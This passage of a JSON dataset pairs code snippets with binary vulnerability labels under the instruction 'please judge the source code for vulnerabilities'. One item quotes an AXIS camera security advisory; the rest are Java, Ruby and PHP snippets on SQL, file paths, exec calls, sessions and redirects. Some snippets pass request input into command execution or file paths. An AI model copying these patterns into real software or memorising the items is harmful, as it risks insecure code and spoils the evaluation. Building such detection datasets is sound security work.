0b420fa6e8b768cafd6fa6b5920883be<NEWLINE>AXIS P3905<hyphen>R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be<NEWLINE>AXIS P3915<hyphen>R 5.80.1 1dcf4a39c7e7349629ade723f563e892<NEWLINE>AXIS P5414<hyphen>E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee<NEWLINE>AXIS P5415<hyphen>E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee<NEWLINE>AXIS P5512 95.50.4.2 a2d5aab90d51af80d924bb3cc8b249fc<NEWLINE>AXIS P5512<hyphen>E 5.50.4.2 4fd5d721e27fe0f4db7d652bd1730749<NEWLINE>AXIS P5514<hyphen>E 5.85.3 b1fc3d26f6293b94f042ac6ea3aa8271<NEWLINE>AXIS P5515 5.85.3 99b2512b57ed8a12c6ad2e53adc8acf8<NEWLINE>AXIS P5515<hyphen>E 5.85.3 639388e504a0841cad2eee7374476727<NEWLINE>AXIS P5522 5.50.4.3 8335552031bc297ce87666542f0e3106<NEWLINE>AXIS P5522<hyphen>E 5.50.4.2 218e1b6997f0e5338f86f0ed1b12f8a0<NEWLINE>AXIS P5532 5.41.3.1 b1ab3dd8ed126dd68b4793dec9bf3698<NEWLINE>AXIS P5532<hyphen>E 5.41.3.1 f6322413687d169dce61459d8338a611<NEWLINE>AXIS P5534 5.40.9.5 3b94922050bec9bc436dce3fcd9bcfaf<NEWLINE>AXIS P5534<hyphen>E 5.40.9.6 a931bc58ee0e882b359dbecd3d699c52<NEWLINE>AXIS P5544 5.41.2.2 cb5bcec36f839914db93eaf17ae83e5e<NEWLINE>AXIS P5624<hyphen>E 5.75.1.1 b93952a6083aa628026f145a1dffa313<NEWLINE>AXIS P5635<hyphen>E 5.75.1.1 24d32e4fab54f16b5698ff4e477fc188<NEWLINE>AXIS P7210 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1<NEWLINE>AXIS P7214 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1<NEWLINE>AXIS P7216 5.51.2.1 a77e96832f7d87970bf286288ce2ca81<NEWLINE>AXIS P7224 5.51.2.1 5d5ecf065f456e66eb42d9360d22f863<NEWLINE>AXIS P8514 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS Q1615 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44<NEWLINE>AXIS Q1635 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44<NEWLINE>AXIS Q1635<hyphen>E 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44<NEWLINE>AXIS Q1755 5.50.4.1 6ca8597f48ed122ce84c2172c079cdf9<NEWLINE>AXIS Q1765<hyphen>LE 5.90.1.1 7930bf5c4c947f2f948f8b7475f01409<NEWLINE>AXIS Q1765<hyphen>LE<hyphen>PT 5.90.1.1 890ba75a8108d97f2ef1a4aecedf76b1<NEWLINE>AXIS Q1775 5.85.3 f47bc9d46a913561e42b999cc6697a83<NEWLINE>AXIS Q1910 5.50.4.1 71525d4d56d781318b64e8200806dcf0<NEWLINE>AXIS Q1921 5.50.4.1 82f956fec96a9068941e24e12045cefd<NEWLINE>AXIS Q1922 5.50.4.1 111a1a4f823e7281af1c872ba52f73c4<NEWLINE>AXIS Q1931<hyphen>E 5.75.1.3 5cf13a2c3d65644c3376ec6466dd9b49<NEWLINE>AXIS Q1931<hyphen>E<hyphen>PT<hyphen>Mount5.75.1.1 3ba7e187dc25e98ab73aef262b68e1b9<NEWLINE>AXIS Q1932<hyphen>E 5.75.1.2 b8efe54fc3eca7f2a59322779e63e8e1<NEWLINE>AXIS Q1932<hyphen>E PT.Mount5.75.1 513fc031f85542548eeccfeaa7c1a29e<NEWLINE>AXIS Q2901<hyphen>E 5.55.4.1 d2945717297edab3326179541cfa0688<NEWLINE>AXIS Q2901<hyphen>E PT.Mount5.55.4.1 a41aed45359f11d2ec248419c124a52d<NEWLINE>AXIS Q3505 5.80.1.4 9394b3577bdb17cb9f74e56433a0e660<NEWLINE>AXIS Q3709<hyphen>PVE 5.75.1.1 e9fb87337c0a24139a40459336f0bcb3<NEWLINE>AXIS Q6000<hyphen>E 5.65.1.1 b97df19057db1134a43c26f5ddf484de<NEWLINE>AXIS Q6032 5.41.1.2 8caad5cd7beeebaf5b05b011b8a1e104<NEWLINE>AXIS Q6032<hyphen>C 5.41.3 58213a4b1c7a980dcb3b54bbee657506<NEWLINE>AXIS Q6032<hyphen>E 5.41.1.4 b4aa977b254694b5d14d7e87e5652a6b<NEWLINE>AXIS Q6034 5.41.1.1 4f44a8661534bac08a50651ee90a7d47<NEWLINE>AXIS Q6034<hyphen>C 5.41.3 25d455dc2e2d11639f29b0b381ddd7cb<NEWLINE>AXIS Q6034<hyphen>E 5.41.1.2 3bfab61354170e42ce27fc2477d57026<NEWLINE>AXIS Q6035 5.41.1.2 9d124d096bf48fbfd2e11c34de3c880d<NEWLINE>AXIS Q6035<hyphen>C 5.41.3 42d23ae4d0b1456cc54e54734a586d53<NEWLINE>AXIS Q6035<hyphen>E 5.41.1.5 e2123a9e37fda4044847c810b7f25253<NEWLINE>AXIS Q6042 5.70.1.1 4f253ed4bb0efaa4a845e0e9bd666766<NEWLINE>AXIS Q6042<hyphen>C 5.70.1.1 21bd154f706091b348c33dd9564438da<NEWLINE>AXIS Q6042<hyphen>E 5.70.1.2 9d5dc03268638498d0299bf466fa0501<NEWLINE>AXIS Q6042<hyphen>S 5.70.1.1 085fc5903d99899d78b48abb9cafdecd<NEWLINE>AXIS Q6044 5.70.1.1 29e4cdb9ba2f18953512c5d1e17229c1<NEWLINE>AXIS Q6044<hyphen>C 5.70.1.1 dc3fc472b88e07278e6ff82eaee71a8d<NEWLINE>AXIS Q6044<hyphen>E 5.70.1.2 83d1e6c1fe5aa9c26710eed03721f928<NEWLINE>AXIS Q6044<hyphen>S 5.70.1.1 654ffd048fdb41ae3c86da4f41e2a31d<NEWLINE>AXIS Q6045 5.70.1.1 2db9b247729e9487f476a35a6dd456ce<NEWLINE>AXIS Q6045<hyphen>C 5.70.1.1 9bb561126e2b4f69ac526cfccdf254f6<NEWLINE>AXIS Q6045<hyphen>C<hyphen>MkII 5.70.1.1 2c9efccb0fba0e63fc4fff73e6ba0fea<NEWLINE>AXIS Q6045<hyphen>E 5.70.1.2 321a5d906863787fdc5e34483e6ec2a8<NEWLINE>AXIS Q6045<hyphen>E<hyphen>MkII 5.70.1.2 d9d4242a83b1ed225dd3c20530da034d<NEWLINE>AXIS Q6045<hyphen>MkII 5.70.1.1 686f0fe8727e2a726091c9ddf3827741<NEWLINE>AXIS Q6045<hyphen>S 5.70.1.1 43473e42f360efb4ea6f84da35fd9746<NEWLINE>AXIS Q6045<hyphen>S<hyphen>Mk<hyphen>II 5.70.1.1 d747a5a3d69264af8448f72822e8d60b<NEWLINE>AXIS Q6114<hyphen>E 5.65.2.1 8cb9a3a88c79ebb2cf5def3cda0da148<NEWLINE>AXIS Q6115<hyphen>E 5.65.2.1 7d2dd3410ce505cd04a1c182917523a5<NEWLINE>AXIS Q6128<hyphen>E 5.85.2.1 49508ff56508f809a75d367896e8d56f<NEWLINE>AXIS Q7401 5.50.4 99855c6c9777fdd5fc5e58349ae861a5<NEWLINE>AXIS Q7404 5.50.4.2 ffdbee7c9daad303e89a432ba9c4711d<NEWLINE>AXIS Q7404 5.50.4 6e31e9709cf9717968c244267aa8c6d0<NEWLINE>AXIS Q7406 5.51.2 3cdb7935278157b9c91c334613012b1e<NEWLINE>AXIS Q7411 5.90.1 26893adedcfc1953829084e8e7c3fbdd<NEWLINE>AXIS Q7414 5.51.2 8ff659a8db077b545205f56dfef217d4<NEWLINE>AXIS Q7424<hyphen>R 5.50.4 d570ef1886c84ab53934fc51385e8aa7<NEWLINE>AXIS Q7424<hyphen>R<hyphen>MkII 5.51.3 964a13f6b1aef17562cbbde11d936dee<NEWLINE>AXIS Q7436 5.90.1 8fe1ef95b231bf6f771c3edc0fbc8afd<NEWLINE>AXIS Q8414<hyphen>LVS 6.10.1 9529cd9cf3b3bd66bec22c0b1c7448cd<NEWLINE>AXIS Q8631<hyphen>E 5.75.1 c7f882afc268ca3d60d07d5770db6a51<NEWLINE>AXIS Q8632<hyphen>E 5.75.1 f01d9a86d21335fe3d78e634858b9e77<NEWLINE>AXIS Q8665<hyphen>LE 5.90.1.1 1549b56d34250a93bbcf7b24b4f63699<NEWLINE>AXIS V5915 5.75.1.1 a1c39a9cd545091825001a831d0c1ea4<NEWLINE>Vendor Information, Solutions and Workarounds<NEWLINE>+++++++++++++++++++++++++++++++++++++++++++++<NEWLINE>According to the Vendor, tickets was opened to correct this issue.<NEWLINE>Credits<NEWLINE>+++++++<NEWLINE>These vulnerabilities has been discovered and published by Orwelllabs.<NEWLINE>Timeline<NEWLINE>++++++++<NEWLINE>2015<hyphen>09<hyphen>10: First attempt to contact Vendor<NEWLINE>2015<hyphen>10<hyphen>30: Vulnerability was reported to CERT<NEWLINE>2015<hyphen>11<hyphen>30: CVE<hyphen>IDs are assigned<NEWLINE>2016<hyphen>07<hyphen>25: Since the first vulnerability was published (09.04.2016 <hyphen><NEWLINE>EDB<hyphen>ID: 39683)<NEWLINE>a long conversation revolved around these vulnerabilities with the<NEWLINE>manufacturer.<NEWLINE>We maintained communication since 15<slash>04<slash>2016 until now.<NEWLINE>As there is still disagreement regarding vulnerabilities (and botnets in<NEWLINE>the wild: https:<slash><slash>goo.gl<slash>k79I8u),<NEWLINE>we thought it good to publish this advisory, since it has already exhausted<NEWLINE>all deadlines.<NEWLINE>Legal Notices<NEWLINE>+++++++++++++<NEWLINE>The information contained within this advisory is supplied <double<underscore>quote>as<hyphen>is<double<underscore>quote> with no<NEWLINE>warranties or guarantees of fitness of use or otherwise. We accept no<NEWLINE>responsibility for any damage caused by the use or misuse of this<NEWLINE>information.<NEWLINE>About Orwelllabs<NEWLINE>++++++++++++++++",
60
+ "output": "1"
61
+ },
62
+ {
63
+ "instruction": "please judge the source code for vulnerabilities.",
64
+ "input": "public function validate<underscore>redirect<underscore>url()<NEWLINE>{<NEWLINE> $param=$this<hyphen>>get<underscore>param();<NEWLINE> <slash><slash>Usersディレクトリ用のアカウント名取得<NEWLINE> $session=AppGoatUtil::getSession();<NEWLINE> $username=$session[COLUMN<underscore>USERNAME];<NEWLINE> <slash><slash> ホスト名取得且つ正規表現用にエスケープ<NEWLINE> $host=preg<underscore>quote($<underscore>SERVER[<single<underscore>quote>HTTP<underscore>HOST<single<underscore>quote>], <single<underscore>quote><slash><single<underscore>quote>);<NEWLINE> $str=<double<underscore>quote><slash>^https?<backslash>:<backslash><slash><backslash><slash><double<underscore>quote>.$host.<double<underscore>quote><backslash><slash>Users<backslash><slash><double<underscore>quote>.$username.<double<underscore>quote><backslash><slash>Web<backslash><slash>Scenario2631<backslash><slash>EditSoft<backslash><slash><slash><double<underscore>quote>;<NEWLINE> <slash><slash>文字列チェックに用いる正規表現<NEWLINE> <slash><slash>本演習では「ホスト名<slash>Web<slash>Scenario2631<slash>EditSoft」をドメインとします<NEWLINE> <slash><slash>リダイレクト先に設定されたURL<NEWLINE> $url=$param[parent::REDIRECT<underscore>URL];<NEWLINE> <slash><slash>正規表現マッチを行い、一致すればtrueを返す<NEWLINE> if(preg<underscore>match($str,$url)) {<NEWLINE> return true;<NEWLINE> }<NEWLINE> return false;<NEWLINE>}",
65
+ "output": "0"
66
+ },
67
+ {
68
+ "instruction": "please judge the source code for vulnerabilities.",
69
+ "input": "<div><NEWLINE> <h1> ${f:h(data)} <<slash>h1><NEWLINE><<slash>div>",
70
+ "output": "0"
71
+ },
72
+ {
73
+ "instruction": "please judge the source code for vulnerabilities.",
74
+ "input": "<div><NEWLINE> <h1><%= @data %><<slash>h1><NEWLINE><<slash>div>",
75
+ "output": "0"
76
+ },
77
+ {
78
+ "instruction": "please judge the source code for vulnerabilities.",
79
+ "input": "String sql = <double<underscore>quote>SELECT * FROM user WHERE id = ? AND name = ? ;<double<underscore>quote>;<NEWLINE>PreparedStatement stmt = con.prepareStatement(sql);<NEWLINE>stmt.setString(1, id);<NEWLINE>stmt.setString(2, name);<NEWLINE>ResultSet rs = stmt.executeQuery();",
80
+ "output": "0"
81
+ },
82
+ {
83
+ "instruction": "please judge the source code for vulnerabilities.",
84
+ "input": "String sql = <double<underscore>quote>SELECT * FROM user WHERE id = ? AND name = ? ;<double<underscore>quote>;<NEWLINE>JdbcTemplete jt = new JdbcTemplete(this.dataSource);<NEWLINE>List list = jt.queryForList(sql,new Object[]{new String(id),new String(name)});",
85
+ "output": "0"
86
+ },
87
+ {
88
+ "instruction": "please judge the source code for vulnerabilities.",
89
+ "input": "user=User.where(<double<underscore>quote>id= ? AND name = ?<double<underscore>quote>,id,name)<NEWLINE>if user<NEWLINE> session[:id] = user.id<NEWLINE>end",
90
+ "output": "0"
91
+ },
92
+ {
93
+ "instruction": "please judge the source code for vulnerabilities.",
94
+ "input": "public class Sample extends HttpServlet {<NEWLINE> public void doGet(HttpServletRequest request, HttpServletResponse response)<NEWLINE> throws IOException, ServletException {<NEWLINE> public static final String TMPLDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<underscore>quote>;<NEWLINE> String path = request.getParameter(<double<underscore>quote>path<double<underscore>quote>);<NEWLINE> File file = new File(path);<NEWLINE> <slash><slash> getName()によりファイルパスからファイル名のみを取得する<NEWLINE> String name = file.getName();<NEWLINE> File file2 = new File(TMPLDIR + name);<NEWLINE> FileReader filereader = new FileReader(file2);<NEWLINE> }<NEWLINE>}",
95
+ "output": "0"
96
+ },
97
+ {
98
+ "instruction": "please judge the source code for vulnerabilities.",
99
+ "input": "TMPDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<underscore>quote><NEWLINE>path = params[:filename]<NEWLINE>if path<NEWLINE> # File.basenameによりファイルパスからファイル名のみを取得する<NEWLINE> data = File.read(TMPDIR + File.basename(path))<NEWLINE>else<NEWLINE> raise <double<underscore>quote>Access denied<double<underscore>quote><NEWLINE>end",
100
+ "output": "0"
101
+ },
102
+ {
103
+ "instruction": "please judge the source code for vulnerabilities.",
104
+ "input": "public static final String TMPLDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<underscore>quote>;<NEWLINE>String dirname=TMPLDIR+request.getParameter(<double<underscore>quote>dirname<double<underscore>quote>);<NEWLINE>Runtime rt = Runtime.getRuntime();<NEWLINE>rt.exec(<double<underscore>quote>mkdir <double<underscore>quote>+dirname);",
105
+ "output": "0"
106
+ },
107
+ {
108
+ "instruction": "please judge the source code for vulnerabilities.",
109
+ "input": "TMPDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<underscore>quote><NEWLINE>dirname = TMPLDIR+params[:dirname] <NEWLINE>system(<double<underscore>quote>mkdir<double<underscore>quote>,dirname)",
110
+ "output": "0"
111
+ },
112
+ {
113
+ "instruction": "please judge the source code for vulnerabilities.",
114
+ "input": "public class Login extends HttpServlet {<NEWLINE> protected void doPost(HttpServletRequest req, HttpServletResponse res)<NEWLINE> throws ServletException, IOException {<NEWLINE> <slash><slash>ログイン処理成功時<NEWLINE> <slash><slash>セッション取得<NEWLINE> HttpSession session = req.getSession(true);<NEWLINE> <slash><slash>既存セッション破棄<NEWLINE> session.invalidate();<NEWLINE> <slash><slash>新規セッションを開始<NEWLINE> HttpSession newSession = req.getSession(true);<NEWLINE> <slash><slash>新しいセッションに値を格納<NEWLINE> newSession.setAttribute(<double<underscore>quote>id<double<underscore>quote>, req.getParameter(<double<underscore>quote>id<double<underscore>quote>));<NEWLINE> <slash><slash>後略<NEWLINE> }<NEWLINE>}",
115
+ "output": "0"
116
+ },
117
+ {
118
+ "instruction": "please judge the source code for vulnerabilities.",
119
+ "input": "user=User.find<underscore>by(id: params[:id],password: params[:password])<NEWLINE>#セッション情報を発行していない",
120
+ "output": "0"
121
+ },
122
+ {
123
+ "instruction": "please judge the source code for vulnerabilities.",
124
+ "input": "user=User.find<underscore>by(id: params[:id],password: params[:password])<NEWLINE>if user<NEWLINE> session[:id] = user.id<NEWLINE>end",
125
+ "output": "0"
126
+ },
127
+ {
128
+ "instruction": "please judge the source code for vulnerabilities.",
129
+ "input": "#ページ処理時<NEWLINE>if session[:id]<NEWLINE> @message=<double<underscore>quote>ようこそ<double<underscore>quote>+ session[:id]+<double<underscore>quote>さん<double<underscore>quote><NEWLINE>else<NEWLINE> @message=<double<underscore>quote>アクセス違反です。先にログインしてください。<double<underscore>quote><NEWLINE>end",
130
+ "output": "0"
131
+ },
132
+ {
133
+ "instruction": "please judge the source code for vulnerabilities.",
134
+ "input": "def redirect<NEWLINE> referer = params[:location]<NEWLINE> if referer.match(<slash><backslash>r|<backslash>n<slash>) == nil then<NEWLINE> redirect<underscore>to referer<NEWLINE> end<NEWLINE>end",
135
+ "output": "0"
136
+ },
137
+ {
138
+ "instruction": "please judge the source code for vulnerabilities.",
139
+ "input": "import java.io.*;<NEWLINE>import javax.servlet.*;<NEWLINE>import javax.servlet.http.*;<NEWLINE>public class SetResponseHeader extends HttpServlet {<NEWLINE> public void doGet(HttpServletRequest request, HttpServletResponse response)<NEWLINE> throws IOException, ServletException {<NEWLINE> <slash><slash> 前処理略<NEWLINE> <slash><slash> ヘッダ出力処理<NEWLINE> response.setHeader(<double<underscore>quote>X<hyphen>Frame<hyphen>Options<double<underscore>quote>, <double<underscore>quote>SAMEORIGIN<double<underscore>quote>);<NEWLINE> <slash><slash> 後処理略<NEWLINE> }<NEWLINE>}",
140
+ "output": "0"
141
+ },
142
+ {
143
+ "instruction": "please judge the source code for vulnerabilities.",
144
+ "input": "def setResponseHeader()<NEWLINE> # 前処理略<NEWLINE> # ヘッダ出力処理<NEWLINE> response.headers[<double<underscore>quote>X<hyphen>Frame<hyphen>Options<double<underscore>quote>] = <double<underscore>quote>SAMEORIGIN<double<underscore>quote><NEWLINE> # 後処理略<NEWLINE>end",
145
+ "output": "0"
146
+ }
147
+ ]